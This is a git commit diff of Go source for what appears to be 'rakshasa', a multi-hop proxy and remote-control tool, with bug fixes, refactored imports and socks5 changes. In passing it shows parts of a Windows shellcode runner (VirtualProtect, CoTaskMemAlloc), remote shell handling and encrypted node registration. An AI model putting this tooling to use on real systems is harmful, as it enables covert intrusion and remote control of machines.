修复bug,增加lite版本

This commit is contained in:
Mob2003
2023-04-02 21:43:50 +08:00
parent e48ed59a73
commit ec51f136eb
29 changed files with 428 additions and 141 deletions
+10 -9
View File
@@ -2,6 +2,7 @@ package server
import (
"bytes"
"cert"
"crypto/tls"
"encoding/json"
"fmt"
@@ -10,7 +11,6 @@ import (
"net"
"net/url"
"rakshasa/aes"
"rakshasa/cert"
"rakshasa/common"
"strconv"
"strings"
@@ -690,12 +690,6 @@ func (c *Conn) handle() {
func (c *Conn) reg() error {
var err error
c.nodeConn, err = tls.Dial("tcp", c.nodeaddr, cert.Tlsconfig.Clone())
if err != nil {
return err
}
reg := &common.RegMsg{
UUID: currentNode.uuid,
MainIp: cert.RSAEncrypterStr(currentNode.mainIp),
@@ -710,7 +704,6 @@ func (c *Conn) reg() error {
CmdOpteion: common.CMD_REG,
CmdData: regb,
}
if err = c.tlsWrite(msg.Marshal()); err != nil {
return err
}
@@ -734,7 +727,15 @@ func (c *Conn) Write(b []byte) {
func (c *Conn) tlsWrite(b []byte) error {
c.nodeConn.SetWriteDeadline(time.Now().Add(common.WRITE_DEADLINE))
_, err := c.nodeConn.Write(b)
n, err := c.nodeConn.Write(b)
if common.Debug {
if c.node!=nil{
fmt.Println("writeto", c.node.uuid, n)
}else{
fmt.Println("writeto",common.NoneUUID, n)
}
}
if err != nil {
c.Close("Write " + err.Error())
upNodeWrite <- b
+1 -1
View File
@@ -10,7 +10,7 @@ import (
"net"
"net/url"
"os"
"rakshasa/cert"
"cert"
"rakshasa/common"
"rakshasa/httppool"
"runtime/debug"
+22 -19
View File
@@ -2,6 +2,7 @@ package server
import (
"bytes"
"cert"
"crypto/tls"
"encoding/json"
"errors"
@@ -11,7 +12,6 @@ import (
"math/rand"
"net"
"os"
"rakshasa/cert"
"rakshasa/common"
"runtime"
"strconv"
@@ -226,18 +226,21 @@ func connectNew(addr string) (n *node, e error) {
addrs, e := i.Addrs()
if e == nil {
for _, localAddr := range addrs {
go func() {
go func(localAddr net.Addr) {
localstr := localAddr.String()
localstr = localstr[:strings.LastIndex(localstr, "/")] + ":0"
laddr, _ := net.ResolveTCPAddr("tcp", localstr)
if netconn, e := net.DialTCP("tcp", laddr, raddr); e == nil {
conn := tls.Client(netconn, config)
select {
case connChan <- conn:
default:
if laddr!=nil{
if netconn, e := net.DialTCP("tcp", laddr, raddr); e == nil {
conn := tls.Client(netconn, config)
select {
case connChan <- conn:
default:
}
}
}
}()
}(localAddr)
}
}
}
@@ -470,6 +473,8 @@ func (n *node) do(msg *common.Msg) {
}
currentNode.broadcastNode()
//把本机所有节点同步到注册机器
go n.writeGetNodeResult(msg.CmdId)
}()
case common.CMD_REG_RESULT:
var regmsg common.RegMsg
@@ -536,8 +541,8 @@ func (n *node) do(msg *common.Msg) {
default:
}
//回复节点
//n.writeGetNodeResult(msg.CmdId)
//交换节点
n.writeGetNodeResult(msg.CmdId)
case common.CMD_REMOTE_REG:
@@ -616,8 +621,7 @@ func (n *node) do(msg *common.Msg) {
}
l.Unlock()
//fmt.Printf("connect to %s(%s) success\n", regmsg.UUID, regmsg.RegAddr)
//n.writeGetNodeResult(msg.CmdId)
n.writeGetNodeResult(msg.CmdId)
case common.CMD_PING:
n.Write(common.CMD_PONG, msg.CmdId, append(msg.CmdData, n.conn.nodeConn.LocalAddr().String()...))
@@ -1427,18 +1431,17 @@ func GetNodeFromAddrs(dst []string) (n *node, err error) {
if n, err = getNode(dst[0]); err != nil {
return
}
if n.uuid == currentNode.uuid {
return nil, errors.New("不能连接自己")
}
for i := 1; i < len(dst); i++ {
n, err = n.remoteReg(dst[i])
if err != nil {
return nil, fmt.Errorf("%s,%v", dst[i], err)
}
}
if n == nil {
return nil, fmt.Errorf("无法连接 %v", dst)
}
if n.uuid == currentNode.uuid {
return nil, errors.New("不能连接自己")
if n.uuid == currentNode.uuid {
return nil, errors.New("不能连接自己")
}
}
n.reConnectAddrs = make([]string, len(dst))
copy(n.reConnectAddrs, dst)
+1 -1
View File
@@ -7,7 +7,7 @@ import (
"hash/crc32"
"math/rand"
"net"
"rakshasa/cert"
"cert"
"rakshasa/common"
"strconv"
"strings"
+1 -1
View File
@@ -5,7 +5,7 @@ import (
"errors"
"fmt"
"math/rand"
"rakshasa/cert"
"cert"
"rakshasa/common"
"strconv"
"strings"
+14 -11
View File
@@ -6,6 +6,7 @@ package server
*/
import (
"bytes"
"cert"
"encoding/json"
"fmt"
"io"
@@ -13,8 +14,9 @@ import (
"os"
"os/exec"
"rakshasa/aes"
"rakshasa/cert"
"rakshasa/common"
"regexp"
"runtime"
"strconv"
"strings"
@@ -24,7 +26,6 @@ import (
"github.com/abiosoft/readline"
"github.com/creack/pty"
"github.com/dlclark/regexp2"
"github.com/luyu6056/ishell"
"golang.org/x/text/encoding/simplifiedchinese"
"golang.org/x/text/transform"
@@ -109,7 +110,7 @@ func init() {
c.Println(c.Args)
currentConfig.Password = c.Args[0]
currentConfig.FileSave = false
aes.Key = aes.MD5_B(currentConfig.Password + string(cert.PrivateKey[:16]))
aes.Key = aes.MD5_B(currentConfig.Password + string(cert.RsaPrivateKey[:16]))
},
})
configShell.AddCmd(&ishell.Cmd{
@@ -133,7 +134,9 @@ func init() {
currentConfig.Port = port
currentNode.port = port
currentConfig.FileSave = false
StartServer(fmt.Sprintf("%s:%d", currentConfig.ListenIp, currentConfig.Port))
if err := StartServer(fmt.Sprintf(":%d", currentConfig.Port)); err != nil {
c.Printf("启动节点失败 %v, 请重新修改监听端口",currentConfig.Port)
}
},
})
@@ -261,7 +264,7 @@ func init() {
pwd = dir
} else {
pwd += "/" + dir
pwd = strings.TrimRight(realpath(pwd), "/")
pwd = strings.TrimRight(getRealPath(pwd), "/")
}
resChan := make(chan interface{}, 1)
@@ -326,7 +329,7 @@ func init() {
}
filename := pwd[i+1:]
dir := pwd[:i]
dir = strings.TrimRight(realpath(dir), "/") + "/"
dir = strings.TrimRight(getRealPath(dir), "/") + "/"
pwd = dir + filename
resChan := make(chan interface{}, 9999) //避免收消息阻塞
@@ -432,7 +435,7 @@ func init() {
}
filename := pwd[i+1:]
dir := pwd[:i]
dir = strings.TrimRight(realpath(dir), "/") + "/"
dir = strings.TrimRight(getRealPath(dir), "/") + "/"
mydir, err := os.Getwd()
local := "./" + filename
if err == nil {
@@ -468,7 +471,7 @@ func init() {
b[be+5] = byte(total >> 40)
b[be+6] = byte(total >> 48)
b[be+7] = byte(total >> 56)
n.Write(common.CMD_DOWNLOAD, id,cert.RSAEncrypterByPrivByte(b))
n.Write(common.CMD_DOWNLOAD, id, cert.RSAEncrypterByPrivByte(b))
c.ProgressBar().Start()
size := int64(0)
resnum := 0
@@ -621,8 +624,8 @@ func init() {
if !common.EnableTermVt {
s.translate = func(in []byte) ([]byte, error) {
if in[0] == 27 {
r, _ := regexp2.Compile(`\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])`, 0)
res, _ := r.Replace(string(in), "", 0, -1)
r, _ := regexp.Compile(`\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])`)
res := r.ReplaceAllString(string(in), "")
return []byte(res), nil
}
return in, nil
@@ -758,7 +761,7 @@ func printNodes(c *ishell.Context) {
}
}
func realpath(path string) string {
func getRealPath(path string) string {
path_s := strings.Split(path, "/")
realpath := []string{}
+1 -1
View File
@@ -10,7 +10,7 @@ import (
"os"
"os/exec"
"path/filepath"
"rakshasa/cert"
"cert"
"rakshasa/common"
"strconv"
"time"
+2 -1
View File
@@ -11,7 +11,7 @@ import (
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
VirtualProtect = kernel32.MustFindProc("VirtualProtect")
old32 = syscall.MustLoadDLL("ole32.dll")
CoTaskMemAlloc = old32.MustFindProc("CoTaskMemAlloc")
)
@@ -22,6 +22,7 @@ func shellcodeRun(code []byte) error {
fmt.Println(err)
}
}()
VirtualProtect := kernel32.MustFindProc("VirtualProtect")
l := uintptr(len(code))
pwstrLocal, _, _ := CoTaskMemAlloc.Call(l)
+3 -7
View File
@@ -2,6 +2,7 @@ package server
import (
"bytes"
"cert"
"encoding/binary"
"errors"
"fmt"
@@ -9,7 +10,6 @@ import (
"log"
"math/rand"
"net"
"rakshasa/cert"
"rakshasa/common"
"runtime/debug"
"strconv"
@@ -23,8 +23,6 @@ import (
)
const (
STATUS_OFF = 0
STATUS_ON = 1
UDP_PORT_MIN = 30000
UDP_PORT_MAX = 60000
SOCKES5_VERSION = 5
@@ -32,13 +30,11 @@ const (
var (
SOCKES5_AUTH_SUSSCES []byte = []byte{5, 0}
SOCKES5_AUTHPW_SUSSCES []byte = []byte{5, 2}
SOCKES5_AUTH_SUSSCES_PASSWD []byte = []byte{5, 2}
PROTOCOL_ERR = errors.New("protocolErr")
)
const (
SERVER_NUM = 4 //有效的连接数量
CONN_AUTH_CLOSE = 0
CONN_AUTH_NONE = 1
CONN_AUTH_PW = 2
@@ -270,7 +266,7 @@ func handleSocks5Local(s *clientConnect) {
if len(data) > 2 {
if data[0] == 5 {
if s.cfg.User() != "" && s.cfg.Password() != "" {
s.conn.Write(SOCKES5_AUTH_SUSSCES)
s.conn.Write(SOCKES5_AUTH_SUSSCES_PASSWD)
s.auth = CONN_AUTH_PW
} else {
s.conn.Write(SOCKES5_AUTH_SUSSCES)